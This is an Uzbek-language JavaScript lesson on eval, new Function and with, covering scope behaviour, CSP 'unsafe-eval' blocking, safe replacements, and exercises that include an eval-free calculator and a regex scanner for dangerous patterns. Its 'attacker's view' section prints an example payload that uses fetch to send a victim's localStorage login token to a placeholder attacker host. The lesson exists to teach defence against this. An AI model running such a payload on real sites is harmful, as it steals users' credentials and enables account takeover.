Mundarija (35)
- Bu darsda
- 1. Nega bu kerak?
- 2. eval: satrni kod qilib bajarish
- 2.1 Qanday ishlaydi
- 2.2 To'g'ridan-to'g'ri eval joriy scope'ni ko'radi
- 2.3 Bilvosita eval: faqat global scope
- 3. new Function: satrdan funksiya yasash
- 3.1 Sintaksis
- 3.2 Faqat global scope
- 3.3 Qayerda haqli ishlatiladi
- 4. with: obyektni scope'ga aylantirish
- 4.1 Nima qiladi
- 4.2 Muammo: nom qayerdan kelgani noaniq
- 4.3 Qat'iy rejimda — taqiq
- 5. CSP: brauzer eval ni to'xtatadi
- 5.1 'unsafe-eval' nima
- 5.2 Jonli: CSP eval ni bloklaydi
- 5.3 Node'da ham shunday bayroq bor
- 5.4 Bu sayt-chi?
- 6. Xavfsiz muqobillar
- Hujumchi nigohi
- 7. Ko'p uchraydigan xatolar
- 7.1 JSON'ni eval bilan o'qish
- 7.2 Satrli setTimeout
- 7.3 new Function ichida mahalliy o'zgaruvchi
- 7.4 Modulda with
- 7.5 "Faqat ishonchli satr"ni ishonchli deb o'ylash
- 8. Mashqlar
- 1-mashq (oson): eval ni olib tashlang
- 2-mashq (o'rta): Amallar lug'ati
- 3-mashq (qiyin): eval siz kalkulyator
- 4-mashq: Vazifalar qadami — eval qidiruvchi
- 9. Real ishda
- Xulosa
- Manbalar
JavaScript eval, new Function va with: satrdan kod bajarish xavfi va CSP
Qisqacha:
eval("2 + 3")vanew Function("a", "return a * 2")— satrni kod sifatida bajaradi. Satr foydalanuvchidan kelsa, u sizning sahifangizda istalgan kodni ishga tushira oladi — bu XSS'ning eng to'g'ri yo'li. Ular kodni sekinlashtiradi va saytning CSP siyosatida'unsafe-eval'bo'lmasa, brauzer ularniEvalErrorbilan bloklaydi.withesa qat'iy rejimda umuman taqiqlangan. Deyarli har holatda xavfsiz muqobil bor:JSON.parse,obyekt[kalit], funksiyalar lug'ati.
Bu darsda
evalqanday ishlashini, to'g'ridan-to'g'ri va bilvositaevalfarqini tushuntira olasiz.new Functionningevaldan farqini (faqat global scope) bilasiz.withnima qilishini va nega u qat'iy rejimda taqiqlanganini aytib bera olasiz.- CSP
'unsafe-eval'nimani bloklashini o'z ko'zingiz bilan ko'rasiz va haqiqiy xato matnini taniysiz. - Eski koddagi
eval, satrlisetTimeoutvawithni xavfsiz muqobil bilan almashtira olasiz.
Oldin bilishingiz kerak: Strict mode, Leksik scope va scope zanjiri, JSON asoslari, Kontentni o'zgartirish va XSS xavfi.
1. Nega bu kerak?
Oldingi darsda Proxy bilan obyekt amallarini ushlab qoldik. U tilning kuchli, lekin xavfsiz imkoniyati edi. Bugungi uchta vosita ham kuchli — lekin xavfli. Ularni ishlatish uchun emas, tanish va qochish uchun o'rganamiz.
«Bahor» administratori Sardordan iltimos qildi: "Kassaga kichik kalkulyator qo'y. Men 35000 * 2 + 5000 deb yozsam, javobini chiqarsin." Sardor internetdan qidirib, bitta qatorli yechim topdi:
const ifoda = "35000 * 2 + 5000";
console.log(eval(ifoda)); // 75000Ishladi! Bir qator — va tayyor kalkulyator. Bu yechim juda jozibali ko'rinadi. Lekin bu satr kalkulyator emas, istalgan JavaScript kodini bajaradigan mashina. Kassir 35000 * 2 o'rniga boshqa narsa yozsa-chi? Yoki bu maydon ertaga saytga — mehmonlar uchun ochilsa-chi?
Oldingi qismlarda bu mavzuga uch marta duch kelgan edik:
- JSON asoslari darsida: "eski kodda JSON
evalbilan o'qiladi — bu xavfli"; - Taymerlar darsida: brauzer
setTimeout("kod", 100)ni qabul qiladi va satrnievalkabi bajaradi; - Strict mode darsida:
withqat'iy rejimda taqiqlangan.
Bugun uchala va'dani yopamiz.
Hayotdan o'xshatish: imzolangan bo'sh blanka. Notariusda bo'sh qog'ozga imzo qo'yib, uni begona odamga berdingiz. U nima yozsa — "sotdim", "qarz oldim" — hammasi sizning nomingizdan. eval ga begona satr berish — xuddi shunday: satr nima desa, sahifa sizning saytingiz nomidan bajaradi.
2. eval: satrni kod qilib bajarish
2.1 Qanday ishlaydi
eval — global funksiya. U satrni oladi, uni JavaScript kodi sifatida tahlil qiladi va bajaradi. Oxirgi ifodaning qiymatini qaytaradi:
console.log(eval("2 + 3 * 4")); // 14
console.log(eval("const a = 5; a * a")); // 25
console.log(eval(42)); // 42Uchinchi qatorga qarang: satr bo'lmagan argument o'zgarishsiz qaytadi. eval faqat satrni kod deb o'qiydi.
Endi Sardorning kalkulyatoriga begona "ifoda" beramiz:
const ifoda = "console.log('kod ishladi'), 0";
console.log(eval(ifoda));Konsolda:
kod ishladi
0Kalkulyator 0 qaytardi — hech narsa shubhali emas. Lekin oraliqda console.log ishladi. console.log o'rnida boshqa narsa bo'lishi mumkin edi. «Hujumchi nigohi» bo'limida aynan nima bo'lishini ko'ramiz.
2.2 To'g'ridan-to'g'ri eval joriy scope'ni ko'radi
eval ning eng g'alati xususiyati — u chaqirilgan joyning o'zgaruvchilarini ko'radi. Xuddi kod shu joyga yozilgandek:
const narx = 1000;
function hisobla() {
const narx = 35000;
return eval("narx * 2");
}
console.log(hisobla()); // 70000eval ichidagi narx — hisobla ning mahalliy narx i, global emas. Leksik scope darsidagi qoida eslang: o'zgaruvchi kod yozilgan joyga qarab topiladi. eval esa kodni "keyinroq yozadi" — dastur ishlayotganda, aynan shu qatorda.
Bu imkoniyat eval ni xavfli qiladi: begona satr nafaqat global narsalarga, balki funksiyangizning ichki o'zgaruvchilariga ham yeta oladi — parollar, tokenlar, kalitlar.
Oddiy (qat'iy bo'lmagan) skriptda eval yangi o'zgaruvchini ham tashqariga chiqarib yuboradi:
function sinash() {
eval("var yangi = 5");
return typeof yangi;
}
console.log(sinash()); // numberyangi funksiyada e'lon qilinmagan edi — uni eval ichidagi satr yaratdi. Endi funksiyaning o'zgaruvchilari ro'yxati dastur ishlayotganda o'zgaradi. Qat'iy rejimda bunday bo'lmaydi: eval ichidagi var o'sha eval ichida qoladi. Modulda xuddi shu kod undefined qaytaradi.
2.3 Bilvosita eval: faqat global scope
eval boshqa nom bilan chaqirilsa, u o'zgacha ishlaydi. Bu bilvosita eval (indirect eval):
globalThis.narx = 1000;
function hisobla() {
const narx = 35000;
const bilvosita = eval;
return [eval("narx"), bilvosita("narx")];
}
console.log(hisobla()); // [ 35000, 1000 ]To'g'ridan-to'g'ri eval("narx") mahalliy narx ni ko'rdi. bilvosita("narx") esa faqat global obyektni (globalThis) ko'rdi. Eski kodda (0, eval)("...") degan g'alati yozuv uchraydi — bu ham bilvosita eval: vergul operatori eval funksiyasini "nomsiz" qiymat qilib qaytaradi (Vergul operatori).
Til buni shunday ajratadi: kodda aynan eval(...) yozilgan bo'lsa — to'g'ridan-to'g'ri. Funksiya boshqa yo'l bilan qo'lga tushsa — bilvosita.
Diqqat: Modul va Node'ning
.cjsfaylida eng yuqoridagiconst— global obyektning xususiyati emas. Shuning uchun bilvosita eval modul darajasidagiconst narxni ko'rmaydi. Brauzerdagi oddiy<script>da esa ko'radi. Misolda shu sababliglobalThis.narxyozdik.
Sxemada uch vosita qaysi o'zgaruvchilarni ko'rishini solishtiring:
flowchart TB
G["global scope<br/>globalThis.narx = 1000"]
F["hisobla() scope<br/>const narx = 35000"]
F --> G
E1["eval('narx')<br/>to'g'ridan-to'g'ri"] --> F
E2["bilvosita eval"] --> G
E3["new Function"] --> GTo'g'ridan-to'g'ri eval — chaqirilgan joyning scope'iga ulanadi va undan scope zanjiri bo'ylab tashqariga boradi. Bilvosita eval va new Function — to'g'ridan-to'g'ri global scope'ga.
Tekshirib ko'ring:
function f() { const kod = "x"; return eval(kod); }— bu yerdaevalto'g'ridan-to'g'rimi yoki bilvositami?
Javob
To'g'ridan-to'g'ri. Satr o'zgaruvchidan kelgani muhim emas — muhimi chaqiruv shakli: kodda aynan eval(...) yozilgan. Bilvosita bo'lishi uchun eval funksiyasining o'zi boshqa nom bilan chaqirilishi kerak (const e = eval; e(kod)).
3. new Function: satrdan funksiya yasash
3.1 Sintaksis
Function konstruktori satrlardan yangi funksiya yasaydi. Oxirgi argument — funksiya tanasi, oldingilari — parametr nomlari:
const qoshish = new Function("a", "b", "return a + b");
console.log(qoshish(35000, 5000)); // 40000
console.log(qoshish.name); // anonymousBu function (a, b) { return a + b; } ga teng. Faqat kod dastur yozilganda emas, ishlayotganda satrdan yig'ilyapti. Funksiyaning nomi — anonymous.
3.2 Faqat global scope
new Function bilan yasalgan funksiya closure bo'lmaydi (Closure). U qayerda yasalganidan qat'i nazar, faqat global scope'ni ko'radi:
function hisobla() {
const narx = 35000;
const ikkiBaravar = new Function("return narx * 2");
return ikkiBaravar();
}
hisobla();ReferenceError: narx is not definedTarjimasi: "narx aniqlanmagan." narx shu yerda, bir qator yuqorida turibdi — lekin new Function uni ko'rmaydi. Uning tanasi global scope'da tahlil qilinadi. Kerakli qiymatni parametr orqali bering: new Function("narx", "return narx * 2")(narx).
Bu eval dan biroz xavfsizroq: satr mahalliy o'zgaruvchilarga yeta olmaydi. Lekin global narsalarga — document, fetch, localStorage ga — bemalol yetadi. Begona satr uchun u ham xavfli.
3.3 Qayerda haqli ishlatiladi
new Function ning halol ish joylari bor, va ularning umumiy belgisi: satrni dasturchi yoki foydalanuvchining o'zi yozgan va o'zi ishga tushirmoqchi.
- Kod ishga tushiruvchilar. Shu saytdagi «Ishga tushir» tugmasi. U siz yozgan kodni bajaradi — bu uning butun vazifasi. Uning qanday himoyalangani — «Bu sayt-chi?» bo'limida.
- Shablon dvigatellari. Ba'zi kutubxonalar shablonni bir marta
new Functionbilan tez ishlaydigan funksiyaga aylantiradi. Bugun buning o'rniga tagged template yoki oldindan kompilyatsiya ko'proq ishlatiladi. - Sintaksisni tekshirish.
new Function(kod)kodni bajarmaydi, faqat funksiya yasaydi. Kodda sintaksis xatosi bo'lsa — darholSyntaxError. Sayt shu usul bilan blokni modul sifatida bajarish kerakmi-yo'qmi aniqlaydi.
Hammasida satrning manbai — kodning egasi. Mehmon, mijoz yoki URL'dan kelgan satr — hech qachon.
4. with: obyektni scope'ga aylantirish
4.1 Nima qiladi
with (obyekt) { ... } — blok ichida obyekt xususiyatlarini o'zgaruvchi kabi ishlatish imkonini beradi. U faqat qat'iy bo'lmagan skriptda ishlaydi:
const taom = { nom: "Osh", narx: 35000 };
with (taom) {
console.log(nom, narx); // Osh 35000
}nom va narx e'lon qilinmagan, lekin with ularni taom dan topdi. Bir qarashda qulay — taom. ni takrorlash shart emas.
4.2 Muammo: nom qayerdan kelgani noaniq
Endi blok ichida yozishni sinaymiz:
const taom = { nom: "Osh", narx: 35000 };
with (taom) {
nom = "Manti";
soni = 2;
}
console.log(taom.nom); // Manti
console.log(taom.soni, typeof soni); // undefined numbernom — taom da bor, u o'zgardi. soni esa taom da yo'q edi. JavaScript uni scope zanjiri bo'ylab qidirdi, topmadi va... global o'zgaruvchi yaratdi. Endi soni butun dastur bo'ylab yashaydi, taom da esa yo'q.
Asosiy muammo shu: with blokidagi har bir nomni o'qib, uning qayerdan kelishini kod yozilgan paytda aytib bo'lmaydi. Obyektda shu xususiyat bormi? Ertaga qo'shilib qolsa-chi? Javob dastur ishlayotgandagi obyektga bog'liq. Odam ham, JavaScript dvigateli (kodni bajaradigan dastur, masalan Chrome va Node'dagi V8) ham oldindan bila olmaydi. Natijada kodni o'qish qiyin, dvigatel esa uni optimallashtira olmaydi.
4.3 Qat'iy rejimda — taqiq
Shuning uchun qat'iy rejimda with sintaksis xatosi. Modullar va klasslar doim qat'iy (Strict mode):
const taom = { nom: "Osh" };
with (taom) {
console.log(nom);
}SyntaxError: Strict mode code may not include a with statementTarjimasi: "Qat'iy rejim kodida with ko'rsatmasi bo'lishi mumkin emas." Xato kod ishga tushishidan oldin chiqadi. Zamonaviy muqobil — destructuring:
const taom = { nom: "Osh", narx: 35000 };
const { nom, narx } = taom;
console.log(nom, narx); // Osh 35000Har nom qayerdan kelgani birinchi qatordayoq ko'rinib turibdi.
Tekshirib ko'ring:
withning g'oyasiga eng yaqin zamonaviy vosita qaysi — u ham obyektni "o'zgaruvchilar muhiti"ga aylantiradi?
Javob
Proxy, has trap'i bilan (Proxy va Reflect). Ba'zi sandbox kutubxonalari with va proxy'ni birga ishlatib, kodga "soxta global muhit" beradi. Bu murakkab va oson buziladi — xavfsizlik uchun ishonchli yo'l emas. Ishonchli ajratish — alohida iframe yoki alohida jarayon.
5. CSP: brauzer eval ni to'xtatadi
5.1 'unsafe-eval' nima
XSS darsida asosiy himoya — begona matnni HTML'ga aylantirmaslik ekanini ko'rdik. Ikkinchi himoya qatlami bor — CSP (Content Security Policy, kontent xavfsizligi siyosati). Bu server yuboradigan sarlavha: "bu sahifada qaysi manbadan qanday skript ishlashi mumkin". CSP'ni to'liq XSS va DOM xavfsizligi darsida o'rganamiz. Bugun uning bitta qismi kerak.
script-src qoidasida 'unsafe-eval' so'zi bo'lmasa, brauzer satrdan kod yasashni bloklaydi:
eval(...);new Function(...);setTimeout("satr", ...)vasetInterval("satr", ...).
Nomiga e'tibor bering: "unsafe" — "xavfli". Bu so'zni CSP'ga yozgan odam "men xavfni bilaman" deb imzo qo'yadi.
5.2 Jonli: CSP eval ni bloklaydi
Quyidagi oynada sahifa o'ziga qattiq CSP qo'yadi: script-src 'unsafe-inline' — "sahifa ichidagi skriptlar ishlasin, lekin satrdan kod yasash — yo'q". Keyin uch narsani sinaydi:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy"
content="script-src 'unsafe-inline'">
</head>
<body>
<p>Konsolga qarang.</p>
<script>
try {
eval("35000 * 2");
console.log("eval ishladi");
} catch (xato) {
console.log("eval:", xato.name);
}
try {
new Function("return 1")();
console.log("new Function ishladi");
} catch (xato) {
console.log("new Function:", xato.name);
}
const menyu = JSON.parse('{"osh":35000}');
console.log("JSON.parse:", menyu.osh);
</script>
</body>
</html>Konsolda:
eval: EvalError
new Function: EvalError
JSON.parse: 35000eval va new Function bloklandi, JSON.parse esa ishladi — u kodni bajarmaydi, faqat ma'lumot o'qiydi. "Tahrirlab ko'rish" ni bosib, content ichiga 'unsafe-eval' qo'shing: ikkala qator ham "ishladi" bo'ladi.
Chrome 154 dagi to'liq xato matni (DevTools konsolida):
EvalError: Evaluating a string as JavaScript violates the following Content Security Policy directive because 'unsafe-eval' is not an allowed source of script: script-src 'unsafe-inline'".Tarjimasi: "Satrni JavaScript sifatida bajarish quyidagi CSP qoidasini buzadi, chunki 'unsafe-eval' ruxsat etilgan skript manbai emas: script-src 'unsafe-inline'." Oxiridagi ". belgilari — Chrome xabarining o'zida shunday, xato emas. Xabar aynan qaysi qoida bloklaganini aytadi. Bunday xatoni ko'rsangiz, 'unsafe-eval' ni qo'shishga shoshilmang — avval kodda eval qayerdan kelayotganini toping. Ko'pincha u eski kutubxonada bo'ladi.
Satrli setTimeout xato tashlamaydi — u jimgina bajarilmaydi, konsolda esa qizil ogohlantirish chiqadi: ... The action has been blocked. ("Amal bloklandi").
5.3 Node'da ham shunday bayroq bor
Node'da CSP yo'q, lekin xuddi shunday taqiqni bayroq bilan yoqish mumkin:
node --disallow-code-generation-from-strings -e "eval('1 + 1')"EvalError: Code generation from strings disallowed for this contextTarjimasi: "Bu kontekstda satrlardan kod yasash taqiqlangan." new Function ham xuddi shu xatoni beradi. Server kodida eval umuman kerak bo'lmasa, bu bayroq "kimdir tasodifan qo'shib qo'ymasin" degan sug'urta.
5.4 Bu sayt-chi?
Halol savol: IlmHamroh o'zi 'unsafe-eval' ni ishlatadimi? Ha. Saytning script-src qoidasida 'unsafe-eval' bor. Bu tasodif emas, ongli tanlov — va uning narxini ochiq aytamiz.
Nega kerak? Saytning asosiy ishlaridan biri — siz yozgan kodni ishga tushirish. «Ishga tushir» tugmasi blokni modul sifatida bajarish kerakmi-yo'qmi aniqlash uchun new Function bilan sintaksisni tekshiradi. Python darslaridagi kod esa brauzerda Pyodide orqali ishlaydi. Pyodide — WebAssemblyga (brauzer tez bajaradigan, JavaScript'dan boshqa kod formati; hozir bilish shart emas) o'girilgan Python. U ham kodni dastur ishlayotganda yasaydi. 'unsafe-eval' siz bularning hammasi EvalError bilan to'xtardi.
Qanday himoyalangan? JavaScript bloklaringiz asosiy sahifada emas, alohida sandbox iframe ichida bajariladi. Bu iframe'ga allow-same-origin berilmagan — brauzer uni "hech kimga tegishli bo'lmagan" alohida origin'da ochadi (Same-origin policy). U yerdagi kod saytning cookie'lariga, localStorage dagi kirish tokeniga va sahifaning o'ziga yeta olmaydi. Python bloklari esa hozircha sahifaning o'zida, Pyodide ichida ishlaydi — ular sandbox'da emas. Bu yerda himoya boshqa: bajariladigan kod faqat dars matnidan yoki siz o'z brauzeringizda o'zingiz yozgan narsadan keladi, darslar esa faqat bizning tekshirilgan repozitoriydan. Begona odam sizning brauzeringizda kod ishga tushira olmaydi. CSP'ning qolgan qoidalari (object-src 'none', frame-ancestors 'none', ulanish mumkin bo'lgan manzillar ro'yxati) ishlashda davom etadi.
Narxi nima? Agar saytning o'zida XSS teshigi topilsa, 'unsafe-eval' hujumchining ishini osonlashtiradi — CSP bu eshikni yopmaydi. Shuning uchun biz XSS'ning boshqa eshiklarini yopiq tutishga majburmiz: begona matn hech qachon innerHTML ga tushmaydi.
Sizning saytingiz uchun qoida: kodni ishga tushiradigan servis yozmasangiz — 'unsafe-eval' kerak emas. Faqat WebAssembly uchun kerak bo'lsa, torroq 'wasm-unsafe-eval' kalit so'zi bor: u WebAssembly'ni ruxsat etadi, eval ni esa yo'q. 'unsafe-eval' majbur bo'lsa — begona kodni alohida origin'ga, sandbox iframe'ga ajrating, xuddi biz qilgandek.
Tekshirib ko'ring: Saytingiz CSP'sida
'unsafe-eval'yo'q. Eski kutubxona ishga tushganda konsoldaEvalErrorchiqyapti. Eng to'g'ri birinchi qadam qaysi: CSP'ga'unsafe-eval'qo'shish yoki boshqa narsa?
Javob
Avval xato stack trace'idan (xato qaysi fayl va funksiyalar orqali kelganini ko'rsatadigan ro'yxat) eval qaysi kutubxonada va nima uchun chaqirilayotganini topish. Ko'pincha kutubxonaning yangi versiyasida u olib tashlangan yoki "CSP-safe" degan alohida yig'ma bor. 'unsafe-eval' ni qo'shish — butun sayt himoyasini bitta kutubxona uchun zaiflashtirish. Bu oxirgi chora.
6. Xavfsiz muqobillar
Eski kodda eval va with ni ko'rsangiz, deyarli har doim to'g'ri almashtirish bor:
| Eski yozuv | Xavfsiz muqobil |
|---|---|
eval("(" + json + ")") |
JSON.parse(json) |
eval("menyu." + kalit) |
menyu[kalit] |
eval(funksiyaNomi + "()") |
amallar[funksiyaNomi]() |
setTimeout("chiz()", 100) |
setTimeout(chiz, 100) |
with (taom) { ... } |
const { nom, narx } = taom |
eval(matematikIfoda) |
kichik o'z parser yoki tayyor kutubxona |
Ikkinchi va uchinchi qatorlar bitta g'oya: nomni satr qilib "kodga yopishtirish" o'rniga, uni kvadrat qavs bilan kalit sifatida ishlatish. Kalit — ma'lumot, kod emas. Uning ichida nima bo'lsa ham, u bajarilmaydi:
const menyu = { osh: 35000, manti: 30000 };
const kalit = "osh";
console.log(menyu[kalit]); // 35000
console.log(menyu["toString; alert(1)"]); // undefinedIkkinchi qatordagi "hujum" shunchaki mavjud bo'lmagan kalit bo'lib qoldi.
Matematik ifodalar uchun mathjs (15.2 versiya) kabi kutubxonalar ifodani o'zi tahlil qiladi, eval ishlatmaydi. Oddiy holatlar uchun o'z parseringizni 3-mashqda yozasiz.
Hujumchi nigohi
Tasavvur qiling: Sardorning eval li kalkulyatori saytga chiqdi — mehmonlar buyurtma summasini hisoblashi uchun. Hujumchi esa unga "ifoda" emas, boshqa narsa yuboradi. Masalan, havola orqali: ?ifoda=.... Sardor qiymatni URL'dan oladi va to'g'ridan-to'g'ri eval ga beradi.
Hujumchining satri taxminan shunday:
// ❌ Hujumchi yuborgan "ifoda" (hech qachon ishga tushirmang)
fetch("https://hujumchi.example/olish", {
method: "POST",
body: localStorage.getItem("kirishToken"),
}), 0Bu satr eval ichida bajarilsa, kalkulyator 0 ko'rsatadi — hech narsa shubhali emas. Lekin oraliqda mehmonning kirish tokeni hujumchining serveriga ketdi. Endi hujumchi u mehmon nomidan tizimga kira oladi. Hujumchi havolani Telegram guruhga tashlasa, uni bosgan har bir mehmon jabrlanadi. Bu — o'sha XSS, faqat innerHTML o'rniga eval eshigidan.
Himoya uch qatlamli:
- Kodda:
evalyo'q. Kalkulyator — faqat raqam va+ - * /ni tushunadigan kichik parser (3-mashq). Begona satr hech qachon kodga aylanmaydi. - CSP'da:
'unsafe-eval'yo'q. Kimdirevalni qaytarib qo'shsa ham, brauzer uni bloklaydi. - Tokenda: kirish tokeni
localStorageda emas, JavaScript o'qiy olmaydiganhttpOnlycookie'da. Buni server qismlarida o'rganamiz.
Bitta qatlam yetarli emasmi? Yo'q. Har biri boshqasining xatosini sug'urta qiladi. Xavfsizlikda bu yondashuv chuqur himoya (defense in depth) deb ataladi.
7. Ko'p uchraydigan xatolar
7.1 JSON'ni eval bilan o'qish
Eski maqolalarda eval("(" + matn + ")") uchraydi. Qavslarsiz esa yana bir tuzoq bor:
console.log(eval("({ osh: 1 })")); // { osh: 1 }
console.log(eval("{ osh: 1 }")); // 1Qavssiz { osh: 1 } obyekt emas, blok deb o'qildi: osh: — label (break, continue va label'lar), 1 — ifoda. Natija 1. Tuzatish: JSON.parse(matn) — tez, xavfsiz va bunday tuzoqsiz.
7.2 Satrli setTimeout
Node'da satrli setTimeout darhol xato beradi:
setTimeout("console.log('salom')", 100);TypeError [ERR_INVALID_ARG_TYPE]: The "callback" argument must be of type function. Received type string ('console.log(\'salom\')')Tarjimasi: "callback argumenti funksiya turida bo'lishi kerak. Satr keldi." Brauzer esa satrni qabul qiladi va eval kabi bajaradi — CSP bo'lsa bloklaydi. Tuzatish: funksiya bering: setTimeout(() => console.log("salom"), 100).
7.3 new Function ichida mahalliy o'zgaruvchi
ReferenceError: narx is not defined — new Function closure emas, faqat global scope'ni ko'radi. Tuzatish: qiymatni parametr qilib bering. Yaxshisi — oddiy funksiya yoki arrow yozing.
7.4 Modulda with
SyntaxError: Strict mode code may not include a with statement. Modullar doim qat'iy. Tuzatish: destructuring yoki obyekt.xususiyat.
7.5 "Faqat ishonchli satr"ni ishonchli deb o'ylash
"Satr bizning bazamizdan keladi, xavfsiz" — lekin bazaga uni kim yozgan? Mehmonning izohi, administrator kiritgan maydon, boshqa servis javobi — hammasi bir kun begona bo'lib chiqishi mumkin. Qoida: kod sifatida faqat dasturchi yozgan va repozitoriyda turgan matn bajariladi.
8. Mashqlar
1-mashq (oson): eval ni olib tashlang
Eski kodda narx eval bilan olinadi. Uni eval siz qayta yozing. Kalit menyuda bo'lmasa, null qaytarsin. Ishora: kvadrat qavs va Object.hasOwn.
const menyu = { osh: 35000, manti: 30000 };
function narxniOl(taom) {
return eval("menyu." + taom); // ❌
}Yechim
const menyu = { osh: 35000, manti: 30000 };
function narxniOl(taom) {
return Object.hasOwn(menyu, taom) ? menyu[taom] : null;
}
console.log(narxniOl("osh")); // 35000
console.log(narxniOl("lagmon")); // null
console.log(narxniOl("toString")); // nullObject.hasOwn faqat obyektning o'z kalitlarini tekshiradi. Oddiy in bo'lsa, "toString" prototipdan topilib, narx o'rniga funksiya qaytardi.
2-mashq (o'rta): Amallar lug'ati
Kassa buyruqlarni matn ko'rinishida oladi: "qosh 35000 5000", "ayir 35000 5000", "kopaytir 35000 2". bajar(buyruq) funksiyasini eval siz yozing: birinchi so'z — amal nomi, qolgani — ikkita son. Noma'lum amal bo'lsa — Error tashlasin. Ishora: amallar obyekti (nom → arrow funksiya), split(" "), massiv destructuring (Massiv destructuring).
console.log(bajar("qosh 35000 5000")); // 40000
console.log(bajar("kopaytir 35000 2")); // 70000
bajar("ochir 1 2"); // Error: Noma'lum amal: ochirYechim
const amallar = {
qosh: (a, b) => a + b,
ayir: (a, b) => a - b,
kopaytir: (a, b) => a * b,
};
function bajar(buyruq) {
const [nom, a, b] = buyruq.split(" ");
if (!Object.hasOwn(amallar, nom)) {
throw new Error(`Noma'lum amal: ${nom}`);
}
return amallar[nom](Number(a), Number(b));
}
console.log(bajar("qosh 35000 5000")); // 40000
console.log(bajar("kopaytir 35000 2")); // 70000
try {
bajar("ochir 1 2");
} catch (xato) {
console.log(xato.message); // Noma'lum amal: ochir
}Buyruq matni faqat kalit sifatida ishlatildi. Ruxsat etilgan amallar ro'yxati — kodda, oldindan. Bu oq ro'yxat tamoyili: nima mumkinligini aniq sanaymiz, qolgani taqiqlangan.
3-mashq (qiyin): eval siz kalkulyator
Sardorning kalkulyatorini xavfsiz qiling. hisobla(ifoda) faqat butun sonlar, + - * / va bo'sh joylarni qabul qilsin. Boshqa belgi bo'lsa — Error. Ko'paytirish va bo'lish qo'shish va ayirishdan oldin bajarilsin. Ishora: avval regex bilan tekshiring (/^[\d\s+\-*/]+$/), keyin match(/\d+|[+\-*/]/g) bilan bo'laklarga ajrating (RegExp asoslari). Ikki o'tish qiling: birinchisida * va / ni hisoblang, ikkinchisida + va - ni.
console.log(hisobla("35000 * 2 + 5000")); // 75000
console.log(hisobla("100 - 20 / 4")); // 95
hisobla("alert(1)"); // ErrorYechim
function bolaklarga(ifoda) {
if (!/^[\d\s+\-*/]+$/.test(ifoda)) {
throw new Error(`Ruxsat etilmagan belgi: ${ifoda}`);
}
return ifoda.match(/\d+|[+\-*/]/g);
}
function hisobla(ifoda) {
const bolaklar = bolaklarga(ifoda);
const qolgan = [Number(bolaklar[0])];
for (let i = 1; i < bolaklar.length; i += 2) {
const amal = bolaklar[i];
const son = Number(bolaklar[i + 1]);
if (amal === "*") qolgan.push(qolgan.pop() * son);
else if (amal === "/") qolgan.push(qolgan.pop() / son);
else qolgan.push(amal, son);
}
let natija = qolgan[0];
for (let i = 1; i < qolgan.length; i += 2) {
natija = qolgan[i] === "+" ? natija + qolgan[i + 1]
: natija - qolgan[i + 1];
}
return natija;
}
console.log(hisobla("35000 * 2 + 5000")); // 75000
console.log(hisobla("100 - 20 / 4")); // 95
try {
hisobla("alert(1)");
} catch (xato) {
console.log(xato.message); // Ruxsat etilmagan belgi: alert(1)
}Birinchi sikl * va / ni darhol hisoblaydi va natijani qolgan massivining oxiriga qaytaradi. + va - esa keyinga qoldiriladi. Ikkinchi sikl qolganlarini chapdan o'ngga yig'adi. Qavslar, manfiy sonlar va xato ifodalar ("2 + * 3") bu parserda yo'q — real loyihada tayyor kutubxona olish yaxshiroq. Lekin eng muhimi bajarildi: begona satr hech qachon kodga aylanmaydi.
4-mashq: Vazifalar qadami — eval qidiruvchi
vazifalar kodida eval, new Function, with va satrli taymer yo'qligini avtomatik tekshiramiz. Mashqlar repoda kurs/mashqlar/12/21-eval/qidir.mjs yarating. U berilgan papkadagi barcha .js fayllarni o'qib, xavfli naqshlarni regex bilan qidirsin va topilganini fayl:qator ko'rinishida chiqarsin. Ishora: node:fs dagi readdirSync va readFileSync, node:path dagi join; papka yo'li — process.argv[2].
Yechim
// 12/21-eval/qidir.mjs
import { readdirSync, readFileSync } from "node:fs";
import { join } from "node:path";
const naqshlar = [
/\beval\s*\(/,
/\bnew\s+Function\s*\(/,
/\bwith\s*\(/,
/\bset(?:Timeout|Interval)\s*\(\s*["'`]/,
];
const papka = process.argv[2] ?? ".";
let topildi = 0;
for (const nom of readdirSync(papka)) {
if (!nom.endsWith(".js")) continue;
const qatorlar = readFileSync(join(papka, nom), "utf8").split("\n");
qatorlar.forEach((qator, i) => {
if (naqshlar.some((naqsh) => naqsh.test(qator))) {
console.log(`${nom}:${i + 1}: ${qator.trim()}`);
topildi++;
}
});
}
if (topildi === 0) console.log("Xavfli naqsh topilmadi");
else console.log(`Jami: ${topildi}`);vazifalar repozitoriysida node ../mashqlar/12/21-eval/qidir.mjs assets/js ishga tushirildi:
Xavfli naqsh topilmadiRegex izoh ichidagi so'zni ham, massiv.with(...) metodini ham "topadi" — bu soxta signal. Kodni haqiqatan tahlil qiladigan vosita — ESLint, uning no-eval, no-implied-eval, no-new-func qoidalari aynan shu ishni aniq qiladi. Uni ESLint va Prettier darsida ulaymiz.
git add 12/21-eval
git commit -m "12/21: eval va with qidiruvchi skript"9. Real ishda
- Code review. Pull request'da
eval,new Function,innerHTMLva satrlisetTimeout— darhol savol beriladigan so'zlar. Ko'p jamoalarda ular ESLint bilan avtomatik taqiqlangan. - CSP. Bank, davlat va to'lov tizimlari saytlarida qattiq CSP standart:
'unsafe-eval'va'unsafe-inline'siz. Eski kutubxonaevalishlatsa — u loyihaga kirmaydi. - Onlayn muharrirlar. CodePen, StackBlitz va shu saytdagi «Ishga tushir» —
evalning halol ishi. Ularning hammasi kodni alohida origin'da yoki sandbox iframe'da bajaradi. - Node serverlar.
vmmoduli (24-qismda) kodni alohida kontekstda bajaradi, lekin Node hujjatlari ochiq yozadi: u xavfsizlik mexanizmi emas. Ishonchsiz kod uchun alohida jarayon yoki konteyner kerak. - Intervyu. "
evalnega yomon?", "To'g'ridan-to'g'ri va bilvosita eval farqi?", "new Functionclosure'ni ko'radimi?" — middle savollari.
Xulosa
eval(satr)satrni kod qilib bajaradi; to'g'ridan-to'g'rievaljoriy scope'ni ko'radi, bilvosita ((0, eval)) — faqat global'ni.new Function(...)satrdan funksiya yasaydi, closure emas — faqat global scope; halol ish joyi: kod ishga tushiruvchilar va sintaksis tekshiruvi.withnomlar qayerdan kelishini noaniq qiladi va global o'zgaruvchi yaratib yuboradi; qat'iy rejimda —SyntaxError.- CSP'da
'unsafe-eval'bo'lmasa,eval,new Functionva satrli taymerlar bloklanadi (EvalError); WebAssembly uchun torroq'wasm-unsafe-eval'bor. - Bu sayt
